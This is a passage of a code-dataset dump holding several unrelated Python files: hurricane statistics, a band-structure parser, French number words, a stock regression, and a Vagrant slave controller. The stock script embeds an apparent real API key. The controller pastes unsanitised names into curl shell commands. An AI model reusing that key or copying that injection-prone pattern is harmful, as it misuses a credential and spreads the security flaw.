if en.wind >= 96\n and en.is_synoptic\n and en.status == \"HU\"\n )\n\n @property\n def perc_MHDP(self):\n \"\"\"The percent (decimal form) of total season MHDP contributed by this\n storm.\n \"\"\"\n if self._season.MHDP > 0:\n return self.MHDP / self._season.MHDP\n else:\n return 0\n\n @property\n def duration_MHU(self):\n \"\"\"\n This is the total time that a storm was designated at a hurricane.\n \"\"\"\n\n totes = sum(\n (en.next_entry.entrytime - en.entrytime).days\n + (en.next_entry.entrytime - en.entrytime).seconds / 86400\n if en.next_entry is not None\n and en.status == \"HU\" and en.wind >= 96\n else 0\n for en in self.entry\n )\n\n return totes\n\n @property\n def track_distance_MHU(self):\n \"\"\"The distance (in nmi) trekked by the system while a major\n hurricane.\n \"\"\"\n return sum(\n haversine(en.previous_entry.location, en.location)\n for en in self.entry\n if en.previous_entry is not None\n and en.previous_entry.wind >= 96\n and en.previous_entry.status == \"HU\"\n )\n\n @property\n def MHDP_per_nmi(self):\n \"\"\"Returns the system's Major Hurricane Destruction Potential (MHDP)\n divided by the systems's track-distance when it was a major hurricane.\n \"\"\"\n return self.MHDP / self.track_distance_MHU if self.track_distance_MHU > 0 else 0\n\n @property\n def MHDP_perc_ACE(self):\n \"\"\"Returns the system's MHDP divided by its ACE.\n\n This is the value (0 is lowest; 1 highest) representing how much\n contribution to ACE was made while a system was designated as a\n major hurricane.\n\n return None will occur if ACE is 0 for the system.\n \"\"\"\n if self.ACE != 0: return round(self.MHDP / self.ACE,2)\n else: return None\n\n @property\n def track_MHU_perc_TC(self):\n \"\"\"Returns the system's major-hurricane track-distance divided by its\n tropical cyclone track-distance.\n\n This value represents the proportional distance of a storm that\n occurred while it was a major-hurricane compared to when it was a\n designated tropical cyclone.\n\n None will be returned if track_distance_TC == 0\n \"\"\"\n if self.track_distance_TC != 0:\n return round(self.track_distance_MHU / self.track_distance_TC,2)\n else:\n return None\n\n @property\n def track_MHU_perc_TS(self):\n \"\"\"Returns the system's major-hurricane track-distance divided by its\n tropical storm track-distance.\n\n This value represents the proportional distance of a storm that\n occurred while it was a major-hurricane compared to when it was at-\n least a tropical storm.\n\n None will be returned if track_distance_TS == 0\n \"\"\"\n if self.track_distance_TS != 0:\n return round(self.track_distance_MHU / self.track_distance_TS,2)\n else:\n return None\n\n @property\n def MHDP_perc_HDP(self):\n \"\"\"Returns the system's MHDP divided by its HDP.\n\n This is the value (0 is lowest; 1 highest) representing how much\n contribution to its HDP was made while a system was designated as a\n major hurricane.\n\n return None will occur if HDP is 0 for the system.\n \"\"\"\n if self.HDP != 0: return round(self.MHDP / self.HDP,2)\n else: return None\n\n @property\n def track_MHU_perc_HU(self):\n \"\"\"Returns the system's major-hurricane track-distance divided by its\n hurricane track-distance.\n\n This value represents the proportional distance of a storm that\n occurred while it was a major-hurricane compared to when it was a\n hurricane.\n\n None will be returned if track_distance_HU == 0\n \"\"\"\n if self.track_distance_HU != 0:\n return round(self.track_distance_MHU / self.track_distance_HU,2)\n else:\n return None\n\n\nclass TCEntryCalculations:\n\n __slots__ = []\n\n @property\n def track_distance(self):\n \"\"\"\n The track distance traversed by the system (regardless of status) from\n the start of the track to the time of this <>\n \"\"\"\n return sum(\n haversine(en.previous_entry.location, en.location)\n for en in self._tc.entry\n if self._tc.entry.index(en) <= self._tc.entry.index(self)\n and en.previous_entry is not None\n )\n\n @property\n def track_distance_TC(self):\n \"\"\"\n The track distance traversed by the system while designated a tropical\n cyclone from the start of the track to the time of this\n <>.\n \"\"\"\n return sum(\n haversine(en.previous_entry.location, en.location)\n for en in self._tc.entry[:self._tc.entry.index(self)+1]\n if en.previous_entry is not None\n and en.previous_entry.is_TC\n )\n\n @property\n def track_distance_TS(self):\n \"\"\"\n The track distance traversed by the system while a tropical storm or\n stronger, from the start of the track to the time of this\n <>\n \"\"\"\n return sum(\n haversine(en.previous_entry.location, en.location)\n for en in self._tc.entry[:self._tc.entry.index(self)+1]\n if en.previous_entry is not None\n and en.previous_entry.status in (\"SS\", \"TS\", \"HU\")\n )\n\n @property\n def track_distance_HU(self):\n \"\"\"\n The track distance traversed by the system while designated a hurricane\n from the start of the track to the time of this <>\n \"\"\"\n return sum(\n haversine(en.previous_entry.location, en.location)\n for en in self._tc.entry[:self._tc.entry.index(self)+1]\n if en.previous_entry is not None\n and en.previous_entry.status == \"HU\"\n )\n\n @property\n def track_distance_MHU(self):\n \"\"\"\n The track distance traversed by the system while designated a major-\n hurricane, from the start of the track to the time of this\n <>\n \"\"\"\n return sum(\n haversine(en.previous_entry.location, en.location)\n for en in self._tc.entry[:self._tc.entry.index(self)+1]\n if en.previous_entry is not None\n and en.previous_entry.status == \"HU\"\n and en.previous_entry.wind >= 96\n )\n\n def direction(self, cardinal=False):\n \"\"\"Returns the heading (in degrees) of the tropical cyclone at the time\n of the .\n\n This is calculated using this and the previous entry locations.\n\n Default Argument\n ----------------\n cardinal (False): if True, it will return an accurate cardinal\n direction abbreviation (ex: 'NNW' == North-Northwest) instead\n of degrees.\n\n Of note, the first entry (index of 0) of any tropical cyclone will not\n have any associated direction because there is no previous entry to\n compare it with.\n\n For reference:\n Degrees Direction\n ---------- -------------------\n 0 // 45 North // North-east\n 90 // 135 East // South-east\n 180 // 225 South // South-west\n 270 // 315 West // North-west\n \"\"\"\n if self._tc.entry.index(self) != 0:\n dlat = self.latitude - self.previous_entry.latitude\n # account for longitudinal traversals of 180E/-180W\n if abs(self.longitude - self.previous_entry.longitude) < 180:\n dlon = self.longitude - self.previous_entry.longitude\n else:\n dlon = self.longitude + (\n 360 * (1 if self.longitude < 0 else -1)\n ) - self.previous_entry.longitude\n deg_dir = math.degrees(math.atan2(dlon, dlat))\n if cardinal is True:\n return cardinal_direction(\n deg_dir + (360 if deg_dir < 0 else 0)\n )\n else:\n return deg_dir + (360 if deg_dir < 0 else 0)\n else:\n return None\n\n @property\n def speed(self):\n \"\"\"\n Returns the forward lateral speed of the tropical cyclone at the time\n of the in knots (nautical miles per hour).\n\n This is calculated using this and the previous entry locations (gps\n coordinates) and the time of the entry.\n\n Of note, the first entry (index of 0) of any tropical cyclone will not\n have any associated speed because there is no previous entry to compare\n it to.\n \"\"\"\n if self._tc.entry.index(self) != 0:\n dist = haversine(self.location, self.previous_entry.location)\n et = (self.entrytime - self.previous_entry.entrytime).seconds / 60 / 60\n return dist / et\n else:\n return None\n\n @property\n def saffir_simpson(self):\n return saffir_simpson_scale(self.wind)\n\n @property\n def avg_wind_extent_TS(self):\n \"\"\"Returns the average extent of at-least tropical storm winds.\"\"\"\n return statistics.mean(self.extent_TS)\n\n @property\n def areal_extent_TS(self):\n \"\"\"Return the instantaneous maximum tropical-storm-strength wind areal\n expanse (in nmi^2) covered by the storm.\n \n This is calculated by taking each TS-wind quadrant value and summing\n their areal-extents (those extents being considered 1/4 of a circle). \n \"\"\"\n return sum(\n math.pi * math.pow(r, 2) / 4\n for r in self.extent_TS\n if r is not None\n )\n\n @property\n def avg_wind_extent_TS50(self):\n \"\"\"Returns the average extent of at-least gale winds.\"\"\"\n return statistics.mean(self.extent_TS50)\n\n @property\n def areal_extent_TS50(self):\n \"\"\"Return the instantaneous maximum gale-strength wind (TS50; winds >=\n 50kts) areal expanse (in nmi^2) covered by the storm.\n \n This is calculated by taking each TS50-wind quadrant value and summing\n their areal-extents (those extents being considered 1/4 of a circle). \n \"\"\"\n return sum(\n math.pi * math.pow(r, 2) / 4 \\\n for r in self.extent_TS50 \\\n if r is not None\n )\n\n @property\n def avg_wind_extent_HU(self):\n \"\"\"Returns the average extent of hurricane-strength winds.\"\"\"\n return statistics.mean(self.extent_HU)\n\n @property\n def areal_extent_HU(self):\n \"\"\"Return the instantaneous maximum hurricane-strength wind areal\n expanse (in nmi^2) covered by the storm.\n \n This is calculated by taking each HU-wind quadrant value and summing\n their areal-extents (those extents being considered 1/4 of a circle).\n \"\"\"\n\n return sum(\n math.pi * math.pow(r, 2) / 4 \\\n for r in self.extent_HU \\\n if r is not None\n )\n\ndef saffir_simpson_scale(spd):\n \"\"\"Static method that returns the equivalent saffir-simpson scale rating,\n based on wind-speed in knots.\n\n This is the most-common index used to generalize tropical cyclone\n intensity. Tropical storm speeds will return 0; Weaker storms will return\n -1.\n\n Example: saffir_simpson_scale(100) --> 3 (implying category 3).\n \"\"\"\n if 34 <= spd < 64: return 0\n elif 64 <= spd < 83: return 1\n elif 83 <= spd < 96: return 2\n elif 96 <= spd < 114: return 3\n elif 114 <= spd < 136: return 4\n elif spd >= 136: return 5\n else: return -1\n\ndef distance_from_coordinates(lat, lon, distance, direction):\n latr = math.radians(lat)\n lonr = math.radians(lon)\n if distance == None: distance = 0\n r = 3440.065 # mean radius of earth in nmi\n \n if direction in [\"N\", \"S\"]:\n y = (1 if direction == \"N\" else -1) * distance / r + latr\n return (math.degrees(y), lon)\n else:\n # x = (2 if direction == \"E\" else -1) * math.asin(distance / (2 * r * math.pow(math.cos(latr), 2))) + lonr\n # x = (2 if direction == \"E\" else -2) * math.asin(math.sqrt(distance / math.pow(math.cos(latr), 2))) + lonr\n # x = (1 if direction == \"E\" else -1) * math.acos(2 * distance / math.cos(latr)**2) + lonr\n x = (2 if direction == \"E\" else -2) * math.asin(math.sqrt(math.pow(math.sin(distance / (2 * r)), 2) / math.pow(math.cos(latr), 2))) + lonr\n return (lat, math.degrees(x))\n\ndef haversine(startpos, endpos):\n \"\"\"Returns the distance (in nmi) between two tupled GPS coordinates.\n\n Args:\n startpos: the starting gps-coordinate point; in tuple form of \n (latitude, longitude). Both need to be an int or float.\n endpos: the ending gps-coordinate point; in tuple form of (latitude,\n longitude). Both need to be an int or float.\n\n The formula used was found on Wikipedia\n (https://en.wikipedia.org/wiki/Haversine_formula).\n \"\"\"\n lat1 = math.radians(startpos[0])\n lon1 = math.radians(startpos[1])\n lat2 = math.radians(endpos[0])\n lon2 = math.radians(endpos[1])\n r = 3440.065 # mean radius of earth in nmi\n d = 2 * r * math.asin(math.sqrt(math.pow(math.sin((lat2 - lat1)/2),2) + math.cos(lat1) * math.cos(lat2) * math.pow(math.sin((lon2-lon1)/2),2)))\n return d\n\ndef cardinal_direction(deg):\n \"\"\"\n Returns the cardinal direction (an abbreviation) based on a degree-heading.\n\n Examples:\n 10.5 --> 'N'\n 257 --> 'WSW'\n 20.2 --> 'NNE'\n 93 --> 'E'\n 165 --> 'SSE'\n \"\"\"\n if deg <= 11.25: return \"N\"\n elif deg <= 33.75: return \"NNE\"\n elif deg <= 56.25: return \"NE\"\n elif deg <= 78.75: return \"ENE\"\n elif deg <= 101.25: return \"E\"\n elif deg <= 123.75: return \"ESE\"\n elif deg <= 146.25: return \"SE\"\n elif deg <= 168.75: return \"SSE\"\n elif deg <= 191.25: return \"S\"\n elif deg <= 213.75: return \"SSW\"\n elif deg <= 236.25: return \"SW\"\n elif deg <= 258.75: return \"WSW\"\n elif deg <= 281.25: return \"W\"\n elif deg <= 303.75: return \"WNW\"\n elif deg <= 326.25: return \"NW\"\n elif deg <= 348.75: return \"NNW\"\n else: return \"N\"\n\n\ndef direction(lat1, lon1, lat2, lon2, cardinal=False):\n \"\"\"\n This is essentially a mirror function of the\n .direction method. Just included so I could test some\n arbitrary coordinates and revisit later if I choose.\n \"\"\"\n dlat = lat2 - lat1\n # account for longitudinal traversals of 180E/-180W\n if abs(lon2 - lon1) < 180:\n dlon = lon2 - lon1\n else:\n dlon = lon2 + (\n 360 * (1 if lon2 < 0 else -1)\n ) - lon1\n deg_dir = math.degrees(math.atan2(dlon, dlat))\n if cardinal is True:\n return cardinal_direction(\n deg_dir + (360 if deg_dir < 0 else 0)\n )\n else:\n return deg_dir + (360 if deg_dir < 0 else 0)\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n","sub_path":"previous_versions/v2.2.2/hurdat2parser/_calculations.py","file_name":"_calculations.py","file_ext":"py","file_size_in_byte":78056,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"120395178","text":"#! /usr/bin/env python3\nimport sys\n\ndef parse_output(fileout,shift):\n #\n skip=True\n read_vkpt=False\n verbosity=False\n lines=[]\n dims={\"vkpt\":[]}\n with open(fileout,\"r\") as fl:\n for line in fl: \n if \"number of Kohn-Sham states\" in line:\n dims[\"nbnd\"]=int(line.split()[-1])\n #\n if \"number of k points\" in line:\n dims[\"nkpts\"]=int(line.split()[4])\n read_vkpt=True\n if \"Crystallographic axes\" in line: verbosity=True\n if ( \"k(\" in line and read_vkpt):\n k=[float(x.strip(\"),\")) for x in line.split()[4:7] ]\n dims[\"vkpt\"].append(k) \n if \"cryst. coord.\" in line: read_vkpt=False\n #\n if \"End of band structure calculation\" in line: skip=False\n if \"Writing output data file\" in line: skip=True\n if (not skip): lines.append(line)\n\n #\n # now parse the list of lines\n #\n lines.pop(0)\n #\n nlines=dims[\"nbnd\"]//8\n if (dims[\"nbnd\"]%8>0): nlines+=1\n #\n bands=[]\n for k in range(dims[\"nkpts\"]):\n #\n # parse eigs for a given kpt\n eigs=[]\n for ind in range(3,3+nlines):\n for x in lines[ind].split(): eigs.append(float(x)-shift)\n #\n # add kpt to previous kpt list\n bands.append(eigs)\n #\n # delete lines\n nlines_to_pop=3+nlines\n if verbosity: nlines_to_pop+= 2+nlines\n #\n for ind in range(nlines_to_pop):\n lines.pop(0)\n \n \n #print(bands)\n return dims,bands\n\n\nif __name__ == \"__main__\":\n\n #\n # get cmd line args\n #\n if (len(sys.argv) < 1): \n print(\"Usage: %s [opts]\",sys.argv[0])\n sys.exit(2)\n #\n filename = sys.argv[1]\n # \n shift=0.0\n if (len(sys.argv) >= 4 and (sys.argv[2]==\"--shift\" or sys.argv[2]==\"-s\")): \n shift=float(sys.argv[3])\n\n #\n # parsing\n #\n dims,bands = parse_output(filename,shift)\n\n #\n # printout\n #\n for ib in range(dims[\"nbnd\"]):\n #\n for ik in range(dims[\"nkpts\"]):\n xk = float(ik)*0.5/float(dims[\"nkpts\"]-1)\n en = bands[ik][ib] \n print(\"%15.9f %15.9f\" % (xk,en) )\n #\n print(\"\")\n\n","sub_path":"tools/plot_bands.py","file_name":"plot_bands.py","file_ext":"py","file_size_in_byte":2109,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"486164906","text":"import sys\n\nlist0 = [('0', 'zéro')]\nlist1_9 = [('1', 'un'),\n ('2', 'deux'),\n ('3', 'trois'),\n ('4', 'quatre'),\n ('5', 'cinq'),\n ('6', 'six'),\n ('7', 'sept'),\n ('8', 'huit'),\n ('9', 'neuf')]\nlist10_99 = [('10', 'dix'),\n ('11', 'onze'),\n ('12', 'douze'),\n ('13', 'treize'),\n ('14', 'quatorze'),\n ('15', 'quinze'),\n ('16', 'seize'),\n ('17', 'dix-sept'),\n ('18', 'dix-huit'),\n ('19', 'dix-neuf'),\n ('20', 'vingt'),\n ('21', 'vingt et un'),\n ('22', 'vingt-deux'),\n ('23', 'vingt-trois'),\n ('24', 'vingt-quatre'),\n ('25', 'vingt-cinq'),\n ('26', 'vingt-six'),\n ('27', 'vingt-sept'),\n ('28', 'vingt-huit'),\n ('29', 'vingt-neuf'),\n ('30', 'trente'),\n ('31', 'trente et un'),\n ('32', 'trente-deux'),\n ('33', 'trente-trois'),\n ('34', 'trente-quatre'),\n ('35', 'trente-cinq'),\n ('36', 'trente-six'),\n ('37', 'trente-sept'),\n ('38', 'trente-huit'),\n ('39', 'trente-neuf'),\n ('40', 'quarante'),\n ('41', 'quarante et un'),\n ('42', 'quarante-deux'),\n ('43', 'quarante-trois'),\n ('44', 'quarante-quatre'),\n ('45', 'quarante-cinq'),\n ('46', 'quarante-six'),\n ('47', 'quarante-sept'),\n ('48', 'quarante-huit'),\n ('49', 'quarante-neuf'),\n ('50', 'cinquante'),\n ('51', 'cinquante et un'),\n ('52', 'cinquante-deux'),\n ('53', 'cinquante-trois'),\n ('54', 'cinquante-quatre'),\n ('55', 'cinquante-cinq'),\n ('56', 'cinquante-six'),\n ('57', 'cinquante-sept'),\n ('58', 'cinquante-huit'),\n ('59', 'cinquante-neuf'),\n ('60', 'soixante'),\n ('61', 'soixante et un'),\n ('62', 'soixante-deux'),\n ('63', 'soixante-trois'),\n ('64', 'soixante-quatre'),\n ('65', 'soixante-cinq'),\n ('66', 'soixante-six'),\n ('67', 'soixante-sept'),\n ('68', 'soixante-huit'),\n ('69', 'soixante-neuf'),\n ('70', 'soixante-dix'),\n ('71', 'soixante-et-onze'),\n ('72', 'soixante-douze'),\n ('73', 'soixante-treize'),\n ('74', 'soixante-quatorze'),\n ('75', 'soixante-quinze'),\n ('76', 'soixante-seize'),\n ('77', 'soixante-dix-sept'),\n ('78', 'soixante-dix-huit'),\n ('79', 'soixante-dix-neuf'),\n ('80', 'quatre-vingts'),\n ('81', 'quatre-vingt-un'),\n ('82', 'quatre-vingt-deux'),\n ('83', 'quatre-vingt-trois'),\n ('84', 'quatre-vingt-quatre'),\n ('85', 'quatre-vingt-cinq'),\n ('86', 'quatre-vingt-six'),\n ('87', 'quatre-vingt-sept'),\n ('88', 'quatre-vingt-huit'),\n ('89', 'quatre-vingt-neuf'),\n ('90', 'quatre-vingt-dix'),\n ('91', 'quatre-vingt-onze'),\n ('92', 'quatre-vingt-douze'),\n ('93', 'quatre-vingt-treize'),\n ('94', 'quatre-vingt-quatorze'),\n ('95', 'quatre-vingt-quinze'),\n ('96', 'quatre-vingt-seize'),\n ('97', 'quatre-vingt-dix-sept'),\n ('98', 'quatre-vingt-dix-huit'),\n ('99', 'quatre-vingt-dix-neuf')]\n\n\ndef fr1_9(pref_digit, pref_word, p):\n for (digit, word) in list1_9:\n p(pref_digit + digit, pref_word + word)\n\n\ndef fr10_99(pref_digit, pref_word, p):\n for (digit, word) in list10_99:\n p(pref_digit + digit, pref_word + word)\n\n\ndef fr1_99(pref_digit, pref_word, p):\n fr1_9(pref_digit, pref_word, p)\n fr10_99(pref_digit, pref_word, p)\n\n\ndef fr01_99(pref_digit, pref_word, p):\n fr1_9(pref_digit + '0', pref_word, p)\n fr10_99(pref_digit, pref_word, p)\n\n\ndef fr100_999(pref_digit, pref_word, p):\n p(pref_digit + '100', pref_word + 'cent')\n fr01_99(pref_digit + '1', pref_word + 'cent ', p)\n fr1_9(pref_digit, pref_word, lambda d, w: fr01_99(d, w + ' cent ', p))\n\n\ndef fr1_999(pref_digit, pref_word, p):\n fr1_99(pref_digit, pref_word, p)\n fr100_999(pref_digit, pref_word, p)\n\n\ndef fr001_999(pref_digit, pref_word, p):\n fr01_99(pref_digit + '0', pref_word, p)\n fr100_999(pref_digit, pref_word, p)\n\n\ndef fr1000_999999(pref_digit, pref_word, p):\n p(pref_digit + '1000', pref_word + 'mille')\n fr001_999(pref_digit + '1', pref_word + 'mille ', p)\n fr1_999(pref_digit, pref_word, lambda d, w: fr001_999(d, w + ' mille ', p))\n\n\ndef fr000001_999999(pref_digit, pref_word, p):\n fr001_999(pref_digit + '000', pref_word, p)\n fr1000_999999(pref_digit + '00', pref_word, p)\n\n\ndef fr1_999999(pref_digit, pref_word, p):\n fr1_999(pref_digit, pref_word, p)\n fr1000_999999(pref_digit, pref_word, p)\n\n\ndef fr1000000_999999999(pref_digit, pref_word, p):\n p(pref_digit + '1000000', pref_word + 'million')\n fr001_999(pref_digit + '1', pref_word + 'millions ', p)\n fr1_999(pref_digit, pref_word, lambda d, w: fr001_999(d, w + ' millions ', p))\n\n\nf = fr1_999999\nif len(sys.argv) > 1:\n if sys.argv[1] == '100':\n f = fr1_99\n elif sys.argv[1] == '1000':\n f = fr1_999\n elif sys.argv[1] == '1000000':\n f = fr1_999999\n\nf('', '', lambda d, w: print(w + '\\t' + d))\n","sub_path":"native/cli/test.py","file_name":"test.py","file_ext":"py","file_size_in_byte":5634,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"644715043","text":"import pandas as pd\nimport matplotlib.pyplot as plt\nimport quandl\nfrom sklearn.linear_model import LinearRegression\n\nquandl.ApiConfig.api_key = 'wPaa4PYkmNxA45kLj7f4'\nstock_data = quandl.get('WIKI/AAPL', start_date='2013-09-03', end_date='2020-12-28')\n# print(stock_data)\n\ndataset = pd.DataFrame(stock_data)\ndataset.head()\ndataset.to_csv('AAPL_stock.csv')\n\nx = dataset.loc[:,'High':'Adj. Volume']\ny = dataset.loc[:,'Open']\n\nimport sklearn.model_selection as model_selection\nx_train,x_test,y_train,y_test = model_selection.train_test_split(x,y,test_size= 0.1,random_state = 0)\nLR = LinearRegression()\nLR.fit(x_train,y_train)\nLR.score(x_test,y_test)\n\ntest_data = x.head(1)\nprediction = LR.predict(test_data)\nprint('Predicted stock price:')\nprint(prediction)\nprint('Actual stock price:',y.head(1))\n\n\n","sub_path":"stock.py","file_name":"stock.py","file_ext":"py","file_size_in_byte":797,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"378618277","text":"import requests\r\n\r\n\r\ndef paisesInfo() -> list:\r\n listadoPaises = []\r\n response = requests.get(\"https://api.covid19api.com/countries\")\r\n if response.status_code == 200:\r\n for pais in response.json():\r\n listadoPaises.append(pais[\"Slug\"])\r\n listadoPaises.sort()\r\n return listadoPaises","sub_path":"TP5/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"461236358","text":"# -*- coding: utf-8 -*-\n\n\nimport common\n\nimport sqlalchemy.orm as orm\n\nimport clusterdb as db\n\n\nclass ListServerInterfaceApp(common.ListApp):\n\n observable = True\n\n CSV_FIELDS = (\n \"server_name\",\n \"name\",\n \"mac\",\n \"port\",\n \"vlan\",\n \"switch_ip\")\n\n @classmethod\n def create_parser(cls, parsers):\n parser = parsers.add_parser(\n \"list-server-interface\", description=\"List server interfaces.\")\n\n parser.add_argument(\n \"-i\", \"--if-name\",\n help=\"The name of the interface to show.\",\n default=None)\n parser.add_argument(\n \"-s\", \"--switch-ip\",\n help=\"IP address of connected switch.\",\n default=None)\n parser.add_argument(\n \"-p\", \"--port\",\n help=\"Port on connected switch.\",\n default=None)\n parser.add_argument(\n \"-m\", \"--mac-address\",\n help=\"MAC address of network interface.\",\n default=None)\n parser.add_argument(\n \"-l\", \"--vlan\",\n help=\"VLAN for network interface.\",\n type=int,\n default=None)\n parser.add_argument(\n \"server_names\",\n metavar=\"SERVER_NAME\",\n nargs=\"*\",\n help=(\n \"Server names to show interfaces for. \"\n \"If nothing is set, then all server interfaces will be \"\n \"listed.\"))\n\n return parser\n\n def __init__(self, options):\n super(ListServerInterfaceApp, self).__init__(options)\n\n self.server_names = sorted(set(options.server_names))\n self.ifname = options.if_name\n self.switch_ip = options.switch_ip\n self.port = options.port\n self.mac_address = options.mac_address\n self.vlan = options.vlan\n\n def get_info(self):\n session = self.session_maker()\n\n query = session.query(db.ServerInterface)\n query = query.options(orm.joinedload(db.ServerInterface.server))\n query = query.join(db.Server)\n\n if self.server_names:\n query = query.filter(db.Server.name.in_(self.server_names))\n if self.ifname:\n query = query.filter(db.ServerInterface.name == self.ifname)\n if self.switch_ip:\n query = query.filter(\n db.ServerInterface.switch_ip == self.switch_ip)\n if self.port:\n query = query.filter(db.ServerInterface.port == self.port)\n if self.mac_address:\n query = query.filter(\n db.ServerInterface.mac_address == self.mac_address)\n if self.vlan:\n query = query.filter(db.ServerInterface.vlan == self.vlan)\n\n interfaces_data = {}\n for interface in query.all():\n data = interfaces_data.setdefault(interface.server.name, {})\n data[interface.name] = {\n \"mac\": interface.mac,\n \"port\": interface.port,\n \"vlan\": interface.vlan,\n \"switch_ip\": interface.switch_ip}\n\n return interfaces_data\n\n def info_to_csv(self, info):\n for server_name, server_data in sorted(info.iteritems()):\n for if_name, if_data in sorted(server_data.iteritems()):\n yield {\n \"server_name\": server_name,\n \"name\": if_name,\n \"mac\": if_data[\"mac\"],\n \"port\": if_data[\"port\"],\n \"vlan\": if_data[\"vlan\"],\n \"switch_ip\": if_data[\"switch_ip\"]}\n","sub_path":"deploy/deploy_cluster/apps/list_server_interface.py","file_name":"list_server_interface.py","file_ext":"py","file_size_in_byte":3547,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"478437597","text":"#!/usr/bin/env python\n\nimport config\nimport os\nimport threading\nimport logging\nimport sys\nimport RunCLI\nimport opJson, json, manageBD\n\n\n# Create a custom logger\nlogger = logging.getLogger(__name__)\n\n# Create handlers\nc_handler = logging.FileHandler(config.FILELOG)\nf_handler = logging.FileHandler(config.FILELOG)\n\n\nc_handler.setLevel(logging.WARNING)\nf_handler.setLevel(logging.ERROR)\n\n\n# Create formatters and add it to handlers\nc_format = logging.Formatter('%(name)s - %(levelname)s - %(message)s')\nf_format = logging.Formatter('%(asctime)s - %(name)s - %(levelname)s - %(message)s')\n\n\nc_handler.setFormatter(c_format)\nf_handler.setFormatter(f_format)\n\n\n# Add handlers to the logger\nlogger.addHandler(c_handler)\nlogger.addHandler(f_handler)\n\n\n \n#Metodo de envio creacion Proyecto a esclavo\n#comando=\"curl -F file=@/home/admred/Documentos/vagrant/andres/Vagranfile http://192.168.19.251:8000/CrearProyecto/andres\"\ndef enviarVM(proyecto,slave):\n comando=\"curl -F file=@\" + config.VAGRANTSERVICEHOME + proyecto + \"/Vagrantfile\" + \" http://\" + slave + \":\" + config.SLAVE1PORT +\"/CrearProyecto/\" + proyecto\n logger.warning('Ingresando a enviarVM')\n try:\n logger.warning('Ejecutando..' + comando)\n output=RunCLI.runCommand(comando)\n opJson.escribirJson(config.MSGSlave,proyecto,output) \n\n except Exception as e:\n logger.error(sys.exc_info()[1])\n\n\n#Metodo de envio consulta de estado proyecto al esclavo\n#comando=\"curl http://192.168.19.251:8000/StatusProyecto/andres\" \ndef preguntarEstadoProyecto(proyecto,slave):\n comando=\"curl http://\" + slave + \":\" + config.SLAVE1PORT + \"/StatusProyecto/\" + proyecto\n logger.warning('Ingresando a preguntarEstadoProyecto')\n try:\n logger.warning('Ejecutando..' + comando)\n output=RunCLI.runCommand(comando)\n opJson.escribirJson(config.MSGSlave,proyecto,output) \n #del mensaje del slave se saca la info del estado de cada virtual\n data=opJson.abrirArchivo(config.MSGSlave)\n if proyecto in data:\n for VM,atributo in data[proyecto][0][\"VMs\"].items():\n manageBD.modificarVM(proyecto,VM,\"\",atributo[\"Status\"])\n except Exception as e:\n logger.error(sys.exc_info()[1])\n\n\n#Metodo de envio solicitud borrado proyecto al esclavo\n#comando=\"curl http://192.168.19.251:8000/BorrarProyecto/andres\" \ndef enviarBorrarProyecto(proyecto,slave):\n comando=\"curl http://\" + slave + \":\" + config.SLAVE1PORT + \"/BorrarProyecto/\" + proyecto\n logger.warning('Ingresando a enviarBorrarProyecto')\n try:\n logger.warning('Ejecutando..' + comando)\n output=RunCLI.runCommand(comando)\n opJson.escribirJson(config.MSGSlave,proyecto,output) \n except Exception as e:\n logger.error(sys.exc_info()[1])\n\n\n\n#Metodo de envio solicitud levantar VM de un proyecto al esclavo\n#comando=\"curl http://192.168.19.251:8000/LevantarVM/andres/VM\" \ndef enviarLevantarVM(proyecto,VM,slave):\n comando=\"curl http://\" + slave + \":\" + config.SLAVE1PORT + \"/LevantarVM/\" + proyecto + \"/\" + VM\n logger.warning('Ingresando a enviarLevantarVM')\n try:\n logger.warning('Ejecutando..' + comando)\n output=RunCLI.runCommand(comando)\n opJson.escribirJson(config.MSGSlave,proyecto,output) \n except Exception as e:\n logger.error(sys.exc_info()[1]) \n\n\n\n\n#Metodo de envio solicitud apagar VM de un proyecto al esclavo\n#comando=\"curl http://192.168.19.251:8000/ApagarVM/andres/VM\" \ndef enviarApagarVM(proyecto,VM,slave):\n comando=\"curl http://\" + slave + \":\" + config.SLAVE1PORT + \"/ApagarVM/\" + proyecto + \"/\" + VM\n logger.warning('Ingresando a enviarApagarVM')\n try:\n logger.warning('Ejecutando..' + comando)\n output=RunCLI.runCommand(comando)\n opJson.escribirJson(config.MSGSlave,proyecto,output) \n except Exception as e:\n logger.error(sys.exc_info()[1]) \n\n\n#Metodo de envio solicitud borrar VM de un proyecto al esclavo\n#comando=\"curl http://192.168.19.251:8000/ApagarVM/andres/VM\" \ndef enviarBorrarVM(proyecto,VM,slave):\n comando=\"curl http://\" + slave + \":\" + config.SLAVE1PORT + \"/BorrarVM/\" + proyecto + \"/\" + VM\n logger.warning('Ingresando a enviarApagarVM')\n try:\n logger.warning('Ejecutando..' + comando)\n output=RunCLI.runCommand(comando)\n opJson.escribirJson(config.MSGSlave,proyecto,output) \n except Exception as e:\n logger.error(sys.exc_info()[1]) ","sub_path":"opSlave.py","file_name":"opSlave.py","file_ext":"py","file_size_in_byte":4448,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"259409800","text":"#!/usr/bin/env python\n#-*- coding:utf-8 -*-\n\n# Copyright (C) 2011 ~ 2012 Deepin, Inc.\n# 2011 ~ 2012 Long Changjin\n# \n# Author: Long Changjin \n# Maintainer: Long Changjin \n# \n# This program is free software: you can redistribute it and/or modify\n# it under the terms of the GNU General Public License as published by\n# the Free Software Foundation, either version 3 of the License, or\n# any later version.\n# \n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n# \n# You should have received a copy of the GNU General Public License\n# along with this program. If not, see .\n\nfrom dtk.ui.label import Label\nfrom dtk.ui.utils import color_hex_to_cairo\nfrom dtk.ui.draw import draw_line\nfrom dtk.ui.constant import 